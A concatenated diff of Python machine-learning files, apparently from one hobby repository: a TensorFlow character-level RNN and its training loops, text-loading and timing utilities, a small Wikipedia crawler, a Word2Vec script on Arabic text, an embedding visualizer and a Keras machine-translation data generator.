+    return out, logits
+
+
+def build_loss(logits, targets, num_classes):
+    ''' Calculate the loss from the logits and the targets.
+    
+        Arguments
+        ---------
+        logits: Logits from final fully connected layer
+        targets: Targets for supervised learning
+        num_classes: Number of classes in targets
+        
+    '''
+     # One-hot encode targets and reshape to match logits, one row per sequence per step
+    y_one_hot = tf.one_hot(targets, num_classes)
+    y_reshaped =  tf.reshape(y_one_hot, logits.get_shape())
+    
+    # Softmax cross entropy loss
+    loss = tf.nn.softmax_cross_entropy_with_logits(logits=logits, labels=y_reshaped)
+    loss = tf.reduce_mean(loss)
+    
+    return loss
+
+
+def build_optimizer(loss, learning_rate, grad_clip):
+    ''' Build optmizer for training, using gradient clipping.
+    
+        Arguments:
+        loss: Network loss
+        learning_rate: Learning rate for optimizer
+        grad_clip: threshold for preventing gradient exploding
+    '''
+    
+    # Optimizer for training, using gradient clipping to control exploding gradients
+    tvars = tf.trainable_variables()
+    grads, _ = tf.clip_by_global_norm(tf.gradients(loss, tvars), grad_clip)
+    train_op = tf.train.AdamOptimizer(learning_rate)
+    optimizer = train_op.apply_gradients(zip(grads, tvars))
+    
+    return optimizer
+
+
+
+class CharRNN:
+    
+    def __init__(self, num_classes, batch_size=64, num_steps=50, 
+                       lstm_size=128, num_layers=2, learning_rate=0.001, 
+                       grad_clip=5, sampling=False):
+    
+        # When we're using this network for sampling later, we'll be passing in
+        # one character at a time, so providing an option for that
+        if sampling:
+            batch_size, num_steps = 1, 1
+        else:
+            batch_size, num_steps = batch_size, num_steps
+
+        tf.reset_default_graph()
+        
+        # Build the input placeholder tensors
+        self.inputs, self.targets, self.keep_prob = build_inputs(batch_size, num_steps)
+
+        # Build the LSTM cell
+        # (lstm_size, num_layers, batch_size, keep_prob)
+        cell, self.initial_state = build_lstm(lstm_size, num_layers, batch_size, self.keep_prob)
+
+        ### Run the data through the RNN layers
+        
+        # First, one-hot encode the input tokens
+        x_one_hot = tf.one_hot(self.inputs, num_classes)
+        
+        # Run each sequence step through the RNN with tf.nn.dynamic_rnn 
+        outputs, state = tf.nn.dynamic_rnn(cell, x_one_hot, initial_state=self.initial_state)
+        self.final_state = state
+        
+        # Get softmax predictions and logits
+        # (lstm_output, in_size, out_size)
+        # There are lstm_size nodes in hidden layers, and the number
+        # of the total characters as num_classes (i.e output layer)
+        self.prediction, self.logits = build_output(outputs, lstm_size, num_classes)
+        
+        # Loss and optimizer (with gradient clipping)
+        # (logits, targets, lstm_size, num_classes)
+        self.loss = build_loss(self.logits, self.targets, num_classes)
+        # (loss, learning_rate, grad_clip)
+        self.optimizer = build_optimizer(self.loss, learning_rate, grad_clip)
+
+
+
+
+from time import perf_counter
+from collections import namedtuple
+from parameters import *
+from train import *
+from utils import get_time, get_text
+
+import tqdm
+import numpy as np
+import os
+import string
+import tensorflow as tf
+
+
+
+
+if __name__ == "__main__":
+
+    CHECKPOINT = "checkpoints"
+
+    if not os.path.isdir(CHECKPOINT):
+        os.mkdir(CHECKPOINT)
+
+
+    vocab, int2char, char2int, text = get_text(char_level=True,
+                                                files=["E:\\datasets\\python_code_small.py", "E:\\datasets\\my_python_code.py"],
+                                                load=False,
+                                                lower=False,
+                                                save_index=4)
+
+    print(char2int)
+    
+    encoded = np.array([char2int[c] for c in text])
+
+    print("[*] Total characters :", len(text))
+    print("[*] Number of classes :", len(vocab))
+
+    model = CharRNN(num_classes=len(vocab), batch_size=batch_size, num_steps=num_steps,
+                lstm_size=lstm_size, num_layers=num_layers, 
+                learning_rate=learning_rate)
+
+    saver = tf.train.Saver(max_to_keep=100)
+    with tf.Session(config=tf.ConfigProto(intra_op_parallelism_threads=NUM_THREADS)) as sess:
+        sess.run(tf.global_variables_initializer())
+        
+        # Use the line below to load a checkpoint and resume training
+        saver.restore(sess, f'{CHECKPOINT}/e13_l256.ckpt')
+        
+        total_steps = len(encoded) // batch_size // num_steps
+        for e in range(14, epochs):
+            # Train network
+            cs = 0
+            new_state = sess.run(model.initial_state)
+            min_loss = np.inf
+            batches = tqdm.tqdm(get_batches(encoded, batch_size, num_steps),
+                                f"Epoch= {e+1}/{epochs} - {cs}/{total_steps}",
+                                total=total_steps)
+            for x, y in batches:
+                cs += 1
+                start = perf_counter()
+                feed = {model.inputs: x,
+                        model.targets: y,
+                        model.keep_prob: keep_prob,
+                        model.initial_state: new_state}
+                batch_loss, new_state, _ = sess.run([model.loss, 
+                                                    model.final_state, 
+                                                    model.optimizer], 
+                                                    feed_dict=feed)
+                
+
+                
+            
+                batches.set_description(f"Epoch: {e+1}/{epochs} - {cs}/{total_steps} loss:{batch_loss:.2f}")
+            saver.save(sess, f"{CHECKPOINT}/e{e}_l{lstm_size}.ckpt")
+            print("Loss:", batch_loss)
+        
+        saver.save(sess, f"{CHECKPOINT}/i{cs}_l{lstm_size}.ckpt")
+
+
+
+
+from time import perf_counter
+from collections import namedtuple
+from colorama import Fore, init
+
+# local
+from parameters import *
+from train import *
+from utils import get_time, get_text
+
+init()
+
+GREEN = Fore.GREEN
+RESET = Fore.RESET
+
+import numpy as np
+import os
+import tensorflow as tf
+import string
+
+
+CHECKPOINT = "checkpoints_words"
+files = ["carroll-alice.txt", "text.txt", "text8.txt"]
+
+if not os.path.isdir(CHECKPOINT):
+    os.mkdir(CHECKPOINT)
+
+vocab, int2word, word2int, text = get_text("data", files=files)
+
+encoded = np.array([word2int[w] for w in text])
+
+del text
+
+if __name__ == "__main__":
+
+    def calculate_time():
+        global time_took
+        global start
+        global total_time_took
+        global times_took
+        global avg_time_took
+        global time_estimated
+        global total_steps
+
+        time_took = perf_counter() - start
+        total_time_took += time_took
+        times_took.append(time_took)
+        avg_time_took = sum(times_took) / len(times_took)
+        time_estimated = total_steps * avg_time_took - total_time_took
+
+    model = CharRNN(num_classes=len(vocab), batch_size=batch_size, num_steps=num_steps,
+                lstm_size=lstm_size, num_layers=num_layers, 
+                learning_rate=learning_rate)
+
+    saver = tf.train.Saver(max_to_keep=100)
+    with tf.Session(config=tf.ConfigProto(intra_op_parallelism_threads=NUM_THREADS)) as sess:
+        sess.run(tf.global_variables_initializer())
+        
+        # Use the line below to load a checkpoint and resume training
+        # saver.restore(sess, f'{CHECKPOINT}/i3524_l128_loss=1.36.ckpt')
+        
+        # calculate total steps
+        total_steps = epochs * len(encoded) / (batch_size * num_steps)
+        time_estimated = "N/A"
+        times_took = []
+        total_time_took = 0
+        current_steps = 0
+        progress_percentage = 0
+        for e in range(epochs):
+            # Train network
+            new_state = sess.run(model.initial_state)
+            min_loss = np.inf
+            for x, y in get_batches(encoded, batch_size, num_steps):
+                current_steps += 1
+                start = perf_counter()
+                feed = {model.inputs: x,
+                        model.targets: y,
+                        model.keep_prob: keep_prob,
+                        model.initial_state: new_state}
+                batch_loss, new_state, _ = sess.run([model.loss, 
+                                                    model.final_state, 
+                                                    model.optimizer], 
+                                                    feed_dict=feed)
+                
+                progress_percentage = current_steps * 100 / total_steps
+
+                if batch_loss < min_loss:
+                    # saver.save(sess, f"{CHECKPOINT}/i{current_steps}_l{lstm_size}_loss={batch_loss:.2f}.ckpt")
+                    min_loss = batch_loss
+                    calculate_time()
+                    print(f'{GREEN}[{progress_percentage:.2f}%] Epoch: {e+1:3}/{epochs} Training loss: {batch_loss:2.4f} - {time_took:2.4f} s/batch - ETA: {get_time(time_estimated)}{RESET}')
+                    continue
+                if (current_steps % print_every_n == 0):
+                    calculate_time()
+                    print(f'[{progress_percentage:.2f}%] Epoch: {e+1:3}/{epochs} Training loss: {batch_loss:2.4f} - {time_took:2.4f} s/batch - ETA: {get_time(time_estimated)}', end='\r')
+                if (current_steps % save_every_n == 0):
+                    saver.save(sess, f"{CHECKPOINT}/i{current_steps}_l{lstm_size}.ckpt")
+        
+        saver.save(sess, f"{CHECKPOINT}/i{current_steps}_l{lstm_size}.ckpt")
+
+
+
+
+import tqdm
+import os
+import inflect
+import glob
+import pickle
+import sys
+from string import punctuation, whitespace
+
+p = inflect.engine()
+UNK = ""
+
+char2int_target = {'\t': 0, '\n': 1, '\x0c': 2, ' ': 3, '!': 4, '"': 5, '#': 6, '': 7, '%': 8, '&': 9, "'": 10, '(': 11, ')': 12, '*': 13, '+': 14, ',': 15, '-': 16, '.': 17,
+'/': 18, '0': 19, '1': 20, '2': 21, '3': 22, '4': 23, '5': 24, '6': 25, '7': 26, '8': 27, '9': 28, ':': 29, '': 30, '<': 31, '=': 32, '>': 33, '?': 34, '':
+35, 'A': 36, 'B': 37, 'C': 38, 'D': 39, 'E': 40, 'F': 41, 'G': 42, 'H': 43, 'I': 44, 'J': 45, 'K': 46, 'L': 47, 'M': 48, 'N': 49, 'O': 50, 'P': 51, 'Q': 52, 'R': 53, 'S': 54, 'T': 55, 'U': 56, 'V': 57, 'W': 58, 'X': 59, 'Y': 60, 'Z': 61, '[': 62, '\\': 63, ']': 64, '^': 65, '_': 66, '': 67, 'a': 68, 'b': 69, 'c':
+70, 'd': 71, 'e': 72, 'f': 73, 'g': 74, 'h': 75, 'i': 76, 'j': 77, 'k': 78, 'l': 79, 'm': 80, 'n': 81, 'o': 82, 'p': 83, 'q': 84, 'r': 85, 's': 86, 't': 87, 'u': 88, 'v': 89, 'w': 90, 'x': 91, 'y': 92, 'z': 93, '{': 94, '|': 95, '}': 96, '': 97, '': 98, '': 99, '': 100, '': 101, '': 102, '': 103, '': 104, '': 105, '\xad': 106, '': 107, '': 108, '': 109, '': 110, '': 111, '': 112, '': 113, '': 114, '': 115, '': 116, '': 117, '': 118, '': 119, '': 120, '': 121, '': 122, '': 123, '': 124, '': 125, '': 126, '': 127, '': 128, '': 129, '': 130, '': 131, '': 132, '': 133, '': 134, '': 135, '': 136, '': 137, '': 138, '': 139, '': 140, '': 141, '': 142, '': 143, '': 144, '': 145, '': 146, '': 147, '': 148, '': 149, '': 150, '': 151, '': 152, '': 153, '': 154, '': 155, '': 156, '': 157, '': 158, '': 159, '': 160, '': 161, '': 162, '': 163, '': 164, '': 165, '': 166, '': 167,
+'': 168, '': 169, '': 170, '': 171, '': 172, '': 173, '': 174, '': 175, '': 176, '': 177, '': 178, '': 179, '': 180, '': 181, '': 182, '': 183, '': 184, '': 185, '': 186, '': 187, '': 188, '': 189, '': 190, '': 191, '': 192}
+
+
+def get_time(seconds, form="{hours:02}:{minutes:02}:{seconds:02}"):
+    try:
+        seconds = int(seconds)
+    except:
+        return seconds
+    minutes, seconds = divmod(seconds, 60)
+    hours, minutes = divmod(minutes, 60)
+    days, hours = divmod(hours, 24)
+    months, days = divmod(days, 30)
+    years, months = divmod(months, 12)
+    if days:
+        form = "{days}d " + form
+    if months:
+        form = "{months}m " + form
+    elif years:
+        form = "{years}y " + form
+    return form.format(**locals())
+
+
+def get_text(path="data",
+            files=["carroll-alice.txt", "text.txt", "text8.txt"],
+            load=True,
+            char_level=False,
+            lower=True,
+            save=True,
+            save_index=1):
+    if load:
+        # check if any pre-cleaned saved data exists first
+        
+        pickle_files = glob.glob(os.path.join(path, "text_data*.pickle"))
+        if len(pickle_files) == 1:
+            return pickle.load(open(pickle_files[0], "rb"))
+        elif len(pickle_files) > 1:
+            sizes = [ get_size(os.path.getsize(p)) for p in pickle_files ]
+            s = ""
+            for i, (file, size) in enumerate(zip(pickle_files, sizes), start=1):
+                s += str(i) + " - " + os.path.basename(file) + f" ({size}) \n"
+            choice = int(input(f"""Multiple data corpus found:
+{s}
+99 - use and clean .txt files
+Please choose one:  """))
+            
+            if choice != 99:
+                chosen_file = pickle_files[choice-1]
+                print("[*] Loading pickled data...")
+                return pickle.load(open(chosen_file, "rb"))
+    text = ""
+    for file in tqdm.tqdm(files, "Loading data"):
+        file = os.path.join(path, file)
+        with open(file) as f:
+            if lower:
+                text += f.read().lower()
+            else:
+                text += f.read()
+    print(len(text))
+    punc = set(punctuation)
+
+    # text = ''.join([ c for c in tqdm.tqdm(text, "Cleaning text") if c not in punc ])
+    text = ''.join([ c for c in tqdm.tqdm(text, "Cleaning text") if c in char2int_target ])
+    # for ws in whitespace:
+    #     text = text.replace(ws, " ")
+
+    if char_level:
+        text = list(text)
+    else:    
+        text = text.split()
+
+    # new_text = []
+    new_text = text
+    # append = new_text.append
+    # co = 0
+    # if char_level:
+    #     k = 0
+    #     for i in tqdm.tqdm(range(len(text)), "Normalizing words"):
+    #         if not text[i].isdigit():
+    #             append(text[i])
+    #             k = 0
+    #         else:
+    #             # if this digit is mapped to a word already using 
+    #             # the below method, then just continue
+    #             if k >= 1:
+    #                 k -= 1
+    #                 continue
+    #             # if there are more digits following this character
+    #             # k = 0
+    #             digits = ""
+    #             while text[i+k].isdigit():
+    #                 digits += text[i+k]
+    #                 k += 1
+    #             w = p.number_to_words(digits).replace("-", " ").replace(",", "")
+    #             for c in w:
+    #                 append(c)
+    #             co += 1
+    # else:
+    #     for i in tqdm.tqdm(range(len(text)), "Normalizing words"):
+    #         # convert digits to words
+    #         # (i.e '7' to 'seven')
+    #         if text[i].isdigit():
+    #             text[i] = p.number_to_words(text[i]).replace("-", " ")
+    #             append(text[i])
+    #             co += 1
+    #         else:
+    #             append(text[i])
+    vocab = sorted(set(new_text))
+    print(f"alices in vocab:", "alices" in vocab)
+    # print(f"Converted {co} digits to words.")
+    print(f"Total vocabulary size:", len(vocab))
+    int2word = { i:w for i, w in enumerate(vocab) }
+    word2int = { w:i for i, w in enumerate(vocab) }
+
+    if save:
+        pickle_filename = os.path.join(path, f"text_data_{save_index}.pickle")
+        print("Pickling data for future use to", pickle_filename)
+        pickle.dump((vocab, int2word, word2int, new_text), open(pickle_filename, "wb"))
+
+    return vocab, int2word, word2int, new_text
+
+
+def get_size(size, suffix="B"):
+    factor = 1024
+    for unit in ['', 'K', 'M', 'G', 'T', 'P']:
+        if size < factor:
+            return "{:.2f}{}{}".format(size, unit, suffix)
+        size /= factor
+    return "{:.2f}{}{}".format(size, "E", suffix)
+
+
+
+
+import wikipedia
+from threading import Thread
+
+
+
+
+
+def gather(page_name):
+    print(f"Crawling {page_name}")
+    page = wikipedia.page(page_name)
+    filename = page_name.replace(" ", "_")
+    print(page.content, file=open(f"data/{filename}.txt", 'w', encoding="utf-8"))
+    print(f"Done crawling {page_name}")
+    for i in range(5):
+        Thread(target=gather, args=(page.links[i],)).start()
+
+
+if __name__ == "__main__":
+    pages = ["Relativity"]
+
+    for page in pages:
+        gather(page)
+
+
+
+
+# from keras.preprocessing.text import Tokenizer
+from utils import chunk_seq
+from collections import Counter
+from nltk.corpus import stopwords
+from keras.preprocessing.sequence import pad_sequences
+import numpy as np
+import gensim
+
+sequence_length = 200
+embedding_dim = 200
+# window_size = 7
+# vector_dim = 300
+# epochs = 1000
+
+# valid_size = 16     # Random set of words to evaluate similarity on.
+# valid_window = 100  # Only pick dev samples in the head of the distribution.
+# valid_examples = np.random.choice(valid_window, valid_size, replace=False)
+
+with open("data/quran_cleaned.txt", encoding="utf8") as f:
+    text = f.read()
+
+
+# print(text[:500])
+ayat = text.split(".")
+
+words = []
+for ayah in ayat:
+    words.append(ayah.split())
+
+# print(words[:5])
+# stop words
+stop_words = stopwords.words("arabic")
+# most common come at the top
+# vocab = [ w[0] for w in Counter(words).most_common() if w[0] not in stop_words]
+# words = [ word for word in words if word not in stop_words]
+new_words = []
+for ayah in words:
+    new_words.append([ w for w in ayah if w not in stop_words])
+
+# print(len(vocab))
+# n = len(words) / sequence_length
+# # split text to n sequences
+# print(words[:10])
+# words = chunk_seq(words, len(ayat))
+vocab = []
+for ayah in new_words:
+    for w in ayah:
+        vocab.append(w)
+vocab = sorted(set(vocab))
+vocab2int = {w: i for i, w in enumerate(vocab, start=1)}
+int2vocab = {i: w for i, w in enumerate(vocab, start=1)}
+
+encoded_words = []
+for ayah in new_words:
+    encoded_words.append([ vocab2int[w] for w in ayah ])
+
+encoded_words = pad_sequences(encoded_words)
+# print(encoded_words[10])
+words = []
+for seq in encoded_words:
+    words.append([ int2vocab[w] if w != 0 else "_unk_" for w in seq ])
+# print(words[:5])
+# # define model
+print("Training Word2Vec Model...")
+model = gensim.models.Word2Vec(sentences=words, size=embedding_dim, workers=7, min_count=1, window=6)
+path_to_save = r"E:\datasets\word2vec_quran.txt"
+print("Saving model...")
+model.wv.save_word2vec_format(path_to_save, binary=False)
+# print(dir(model))
+
+
+
+
+from keras.layers import Embedding, LSTM, Dense, Activation, BatchNormalization
+from keras.layers import Flatten
+from keras.models import Sequential
+from preprocess import words, vocab, sequence_length, sequences, vector_dim
+from preprocess import window_size
+
+model = Sequential()
+
+model.add(Embedding(len(vocab), vector_dim, input_length=sequence_length))
+model.add(Flatten())
+model.add(Dense(1))
+
+model.compile("adam", "binary_crossentropy")
+model.fit()
+
+
+
+
+def chunk_seq(seq, num):
+    avg = len(seq) / float(num)
+    out = []
+    last = 0.0
+    while last < len(seq):
+        out.append(seq[int(last):int(last + avg)])
+        last += avg
+    return out
+
+
+def encode_words(words, vocab2int):
+    # encoded = [ vocab2int[word] for word in words ]
+    encoded = []
+    append = encoded.append
+    for word in words:
+        c = vocab2int.get(word)
+        if c:
+            append(c)
+    return encoded
+
+def remove_stop_words(vocab):
+    # remove stop words
+    vocab.remove("the")
+    vocab.remove("of")
+    vocab.remove("and")
+    vocab.remove("in")
+    vocab.remove("a")
+    vocab.remove("to")
+    vocab.remove("is")
+    vocab.remove("as")
+    vocab.remove("for")
+
+
+
+
+# encoding: utf-8
+"""
+author: BrikerMan
+contact: eliyar917gmail.com
+blog: https://eliyar.biz
+version: 1.0
+license: Apache Licence
+file: w2v_visualizer.py
+time: 2017/7/30 9:37
+"""
+import sys
+import os
+import pathlib
+import numpy as np
+from gensim.models.keyedvectors import KeyedVectors
+import tensorflow as tf
+from tensorflow.contrib.tensorboard.plugins import projector
+
+
+def visualize(model, output_path):
+    meta_file = "w2x_metadata.tsv"
+    placeholder = np.zeros((len(model.wv.index2word), model.vector_size))
+
+    with open(os.path.join(output_path, meta_file), 'wb') as file_metadata:
+        for i, word in enumerate(model.wv.index2word):
+            placeholder[i] = model[word]
+            # temporary solution for https://github.com/tensorflow/tensorflow/issues/9094
+            if word == '':
+                print("Emply Line, should replecaed by any thing else, or will cause a bug of tensorboard")
+                file_metadata.write("{0}".format('').encode('utf-8') + b'\n')
+            else:
+                file_metadata.write("{0}".format(word).encode('utf-8') + b'\n')
+
+    # define the model without training
+    sess = tf.InteractiveSession()
+
+    embedding = tf.Variable(placeholder, trainable=False, name='w2x_metadata')
+    tf.global_variables_initializer().run()
+
+    saver = tf.train.Saver()
+    writer = tf.summary.FileWriter(output_path, sess.graph)
+
+    # adding into projector
+    config = projector.ProjectorConfig()
+    embed = config.embeddings.add()
+    embed.tensor_name = 'w2x_metadata'
+    embed.metadata_path = meta_file
+
+    # Specify the width and height of a single thumbnail.
+    projector.visualize_embeddings(writer, config)
+    saver.save(sess, os.path.join(output_path, 'w2x_metadata.ckpt'))
+    print('Run tensorboard --logdir={0} to run visualize result on tensorboard'.format(output_path))
+
+
+if __name__ == "__main__":
+    """
+    Use model.save_word2vec_format to save w2v_model as word2evc format
+    Then just run python w2v_visualizer.py word2vec.text visualize_result
+    """
+    try:
+        model_path = sys.argv[1]
+        output_path = sys.argv[2]
+    except:
+        print("Please provice model path and output path")
+    model = KeyedVectors.load_word2vec_format(model_path)
+    pathlib.Path(output_path).mkdir(parents=True, exist_ok=True)
+    visualize(model, output_path)
+
+
+
+
+from keras.preprocessing.text import Tokenizer
+from keras.preprocessing.sequence import pad_sequences
+from keras.utils import to_categorical
+import numpy as np
+import pickle
+import tqdm
+
+class NMTGenerator:
+    """A class utility for generating Neural-Machine-Translation large datasets"""
+    def __init__(self, source_file, target_file, num_encoder_tokens=None, num_decoder_tokens=None,
+                source_sequence_length=None, target_sequence_length=None, x_tk=None, y_tk=None,
+                batch_size=256, validation_split=0.15, load_tokenizers=False, dump_tokenizers=True,
+                same_tokenizer=False, char_level=False, verbose=0):
+        self.source_file = source_file
+        self.target_file = target_file
+        self.same_tokenizer = same_tokenizer
+        self.char_level = char_level
+        if not load_tokenizers:
+            # x ( source ) tokenizer
+            self.x_tk = x_tk if x_tk else Tokenizer(char_level=self.char_level)
+            # y ( target ) tokenizer
+            self.y_tk = y_tk if y_tk else Tokenizer(char_level=self.char_level)
+        else:
+            self.x_tk = pickle.load(open("results/x_tk.pickle", "rb"))
+            self.y_tk = pickle.load(open("results/y_tk.pickle", "rb"))
+        # remove '?' and '.' from filters
+        # which means include them in vocabulary
+        # add "'" to filters
+        self.x_tk.filters = self.x_tk.filters.replace("?", "").replace("_", "") + "'"
+        self.y_tk.filters = self.y_tk.filters.replace("?", "").replace("_", "") + "'"
+        
+        if char_level:
+            self.x_tk.filters = self.x_tk.filters.replace(".", "").replace(",", "")
+            self.y_tk.filters = self.y_tk.filters.replace(".", "").replace(",", "")
+
+        if same_tokenizer:
+            self.y_tk = self.x_tk
+        # max sequence length of source language
+        self.source_sequence_length = source_sequence_length
+        # max sequence length of target language
+        self.target_sequence_length = target_sequence_length
+        # vocab size of encoder
+        self.num_encoder_tokens = num_encoder_tokens
+        # vocab size of decoder
+        self.num_decoder_tokens = num_decoder_tokens
+        # the batch size
+        self.batch_size = batch_size
+        # the ratio which the dataset will be partitioned
+        self.validation_split = validation_split
+        # whether to dump x_tk and y_tk when finished tokenizing
+        self.dump_tokenizers = dump_tokenizers
+        # cap to remove _unk_ samples
+        self.n_unk_to_remove = 2
+        self.verbose = verbose
+
+    def load_dataset(self):
+        """Loads the dataset:
+            1. load the data from files
+            2. tokenize and calculate sequence lengths and num_tokens
+            3. post pad the sequences"""
+        self.load_data()
+        if self.verbose:
+            print("[+] Data loaded")
+        self.tokenize()
+        if self.verbose:
+            print("[+] Text tokenized")
+        self.pad_sequences()
+        if self.verbose:
+            print("[+] Sequences padded")
+        self.split_data()
+        if self.verbose:
+            print("[+] Data splitted")
+
+    def load_data(self):
+        """Loads data from files"""
+        self.X = load_data(self.source_file)
+        self.y = load_data(self.target_file)
+        # remove much unks on a single sample
+        X, y = [], []
+        co = 0
+        for question, answer in zip(self.X, self.y):
+            if question.count("_unk_") >= self.n_unk_to_remove or answer.count("_unk_") >= self.n_unk_to_remove:
+                co += 1
+            else:
+                X.append(question)
+                y.append(answer)
+        self.X = X
+        self.y = y
+        if self.verbose >= 1:
+            print("[*] Number of samples:", len(self.X))
+        if self.verbose >= 2:
+            print("[!] Number of samples deleted:", co)
+
+    def tokenize(self):
+        """Tokenizes sentences/strings as well as calculating input/output sequence lengths
+        and input/output vocab sizes"""
+        self.x_tk.fit_on_texts(self.X)
+        self.y_tk.fit_on_texts(self.y)
+        self.X = self.x_tk.texts_to_sequences(self.X)
+        self.y = self.y_tk.texts_to_sequences(self.y)
+        # calculate both sequence lengths ( source and target )
+        self.source_sequence_length = max([len(x) for x in self.X])
+        self.target_sequence_length = max([len(x) for x in self.y])
+        # calculating number of encoder/decoder vocab sizes
+        self.num_encoder_tokens = len(self.x_tk.index_word) + 1
+        self.num_decoder_tokens = len(self.y_tk.index_word) + 1
+        # dump tokenizers
+        pickle.dump(self.x_tk, open("results/x_tk.pickle", "wb"))
+        pickle.dump(self.y_tk, open("results/y_tk.pickle", "wb"))
+
+    def pad_sequences(self):
+        """Pad sequences"""
+        self.X = pad_sequences(self.X, maxlen=self.source_sequence_length, padding='post')
+        self.y = pad_sequences(self.y, maxlen=self.target_sequence_length, padding='post')
+
+    def split_data(self):
+        """split training/validation sets using self.validation_split"""
+        split_value = int(len(self.X)*self.validation_split)
+        self.X_test = self.X[:split_value]
+        self.X_train = self.X[split_value:]
+        self.y_test = self.y[:split_value]
+        self.y_train = self.y[split_value:]
+        # free up memory
+        del self.X
+        del self.y
+
+    def shuffle_data(self, train=True):
+        """Shuffles X and y together
+        :params train (bool): whether to shuffle training data, default is True
+            Note that when train is False, testing data is shuffled instead."""
+        state = np.random.get_state()
+        if train:
+            np.random.shuffle(self.X_train)
+            np.random.set_state(state)
+            np.random.shuffle(self.y_train)
+        else:
+            np.random.shuffle(self.X_test)
+            np.random.set_state(state)
+            np.random.shuffle(self.y_test)
+
+    def next_train(self):
+        """Training set generator"""
+        return self.generate_batches(self.X_train, self.y_train, train=True)
+
+    def next_validation(self):
+        """Validation set generator"""
+        return self.generate_batches(self.X_test, self.y_test, train=False)
+
+    def generate_batches(self, X, y, train=True):
+        """Data generator"""
+        same_tokenizer = self.same_tokenizer
+        batch_size = self.batch_size
+        char_level = self.char_level
+        source_sequence_length = self.source_sequence_length
+        target_sequence_length = self.target_sequence_length
+        if same_tokenizer:
+            num_encoder_tokens = max([self.num_encoder_tokens, self.num_decoder_tokens])
+            num_decoder_tokens = num_encoder_tokens
+        else:
+            num_encoder_tokens = self.num_encoder_tokens
+            num_decoder_tokens = self.num_decoder_tokens
+        while True:
+            for j in range(0, len(X), batch_size):
+                encoder_input_data = X[j: j+batch_size]
+                decoder_input_data = y[j: j+batch_size]
+                # update batch size ( different size in last batch of the dataset )
+                batch_size = encoder_input_data.shape[0]
+                if self.char_level:
+                    encoder_data = np.zeros((batch_size, source_sequence_length, num_encoder_tokens))
+                    decoder_data = np.zeros((batch_size, target_sequence_length, num_decoder_tokens))
+                else:
+                    encoder_data = encoder_input_data
+                    decoder_data = decoder_input_data
+                
+                decoder_target_data = np.zeros((batch_size, target_sequence_length, num_decoder_tokens))
+                if char_level:
+                    # if its char level, one-hot all sequences of characters
+                    for i, sequence in enumerate(decoder_input_data):
+                        for t, word_index in enumerate(sequence):
+                            if t > 0:
+                                decoder_target_data[i, t - 1, word_index] = 1
+                            decoder_data[i, t, word_index] = 1
+                    for i, sequence in enumerate(encoder_input_data):
+                        for t, word_index in enumerate(sequence):
+                            encoder_data[i, t, word_index] = 1
+                else:
+                    # if its word level, one-hot only target_data ( the one compared with dense )
+                    for i, sequence in enumerate(decoder_input_data):
+                        for t, word_index in enumerate(sequence):
+                            if t > 0:
+                                decoder_target_data[i, t - 1, word_index] = 1
+                yield ([encoder_data, decoder_data], decoder_target_data)
+            # shuffle data when an epoch is finished
+            self.shuffle_data(train=train)
+
+
+
+
+def get_embedding_vectors(tokenizer):
+    embedding_index = {}
+    with open("data/glove.6B.300d.txt", encoding='utf8') as f:
+        for line in tqdm.tqdm(f, "Reading GloVe"):
+            values = line.split()
+            word = values[0]
+            vectors = np.asarray(values[1:], dtype='float32')
+            embedding_index[word] = vectors
+
+    word_index = tokenizer.word_index
+    embedding_matrix = np.zeros((len(word_index)+1, 300))
+    for word, i in word_index.items():
+        embedding_vector = embedding_index.get(word)
+        if embedding_vector is not None:
+            # words not found will be 0s
+            embedding_matrix[i] = embedding_vector
+            
+    return embedding_matrix
+
+
+def load_data(filename):
+    text = []
+    append = text.append
+    with open(filename) as f:
+        for line in tqdm.tqdm(f, f"Reading {filename}"):
+            line = line.strip()
+            append(line)
+    return text
+
+# def generate_batch(X, y, num_decoder_tokens, max_length_src, max_length_target, batch_size=256):
+#     """Generating data"""
+#     while True:
+#         for j in range(0, len(X), batch_size):
+#             encoder_input_data = np.zeros((batch_size, max_length_src), dtype='float32')
+#             decoder_input_data = np.zeros((batch_size, max_length_target), dtype='float32')
+#             decoder_target_data = np.zeros((batch_size, max_length_target, num_decoder_tokens), dtype='float32')
+#             for i, (input_text, target_text) in enumerate(zip(X[j: j+batch_size], y[j: j+batch_size])):
+#                 for t, word in enumerate(input_text.split()):
+#                     encoder_input_data[i, t] = input_word_index[word] # encoder input sequence
+#                 for t, word in enumerate(target_text.split()):
+#                     if t > 0:
+#                         # offset by one timestep
+#                         # one-hot encoded
+#                         decoder_target_data[i, t-1, target_token_index[word]] = 1
+#                     if t < len(target_text.split()) - 1:
+#                         decoder_input_data[i, t] = target_token_index[word]
+#             yield ([encoder_input_data, decoder_input_data], decoder_target_data)
+
+# def tokenize(x, tokenizer=None):
+#     """Tokenize x
+#     :param x: List of sentences/strings to be tokenized
+#     :return: Tuple of (tokenized x data, tokenizer used to tokenize x)"""
+#     if tokenizer:
+#         t = tokenizer
+#     else:
+#         t = Tokenizer()
+#     t.fit_on_texts(x)
+#     return t.texts_to_sequences(x), t
+
+
+# def pad(x, length=None):
+#     """Pad x
+#     :param x: list of sequences
+#     :param length: Length to pad the sequence to, If None, use length
+#     of longest sequence in x.
+#     :return: Padded numpy array of sequences"""
+#     return pad_sequences(x, maxlen=length, padding="post")
+
+
+# def preprocess(x, y):
+#     """Preprocess x and y
+#     :param x: Feature list of sentences
+#     :param y: Label list of sentences
+#     :return: Tuple of (preprocessed x, preprocessed y, x tokenizer, y tokenizer)"""
+#     preprocess_x, x_tk = tokenize(x)
+#     preprocess_y, y_tk = tokenize(y)
+#     preprocess_x2 = [ [0] + s for s in preprocess_y ]
+#     longest_x = max([len(i) for i in preprocess_x])
+#     longest_y = max([len(i) for i in preprocess_y]) + 1
+#     # max_length = len(x_tk.word_index) if len(x_tk.word_index) > len(y_tk.word_index) else len(y_tk.word_index)
+#     max_length = longest_x if longest_x > longest_y else longest_y
+
+#     preprocess_x = pad(preprocess_x, length=max_length)
+#     preprocess_x2 = pad(preprocess_x2, length=max_length)
+#     preprocess_y = pad(preprocess_y, length=max_length)
+
+#     # preprocess_x = to_categorical(preprocess_x)
+#     # preprocess_x2 = to_categorical(preprocess_x2)
+#     preprocess_y = to_categorical(preprocess_y)
+
+#     return preprocess_x, preprocess_x2, preprocess_y, x_tk, y_tk
+
+
+
+
+from keras.layers import Embedding, TimeDistributed, Dense, GRU, LSTM, Input
+from keras.models import Model, Sequential
+from keras.utils import to_categorical
+
+import numpy as np
+import tqdm
+
+
+def encoder_decoder_model(num_encoder_tokens, latent_dim, num_decoder_tokens, embedding_matrix=None, embedding_layer=True):
+    # ENCODER
+    # define an input sequence and process it
+        
+    if embedding_layer:
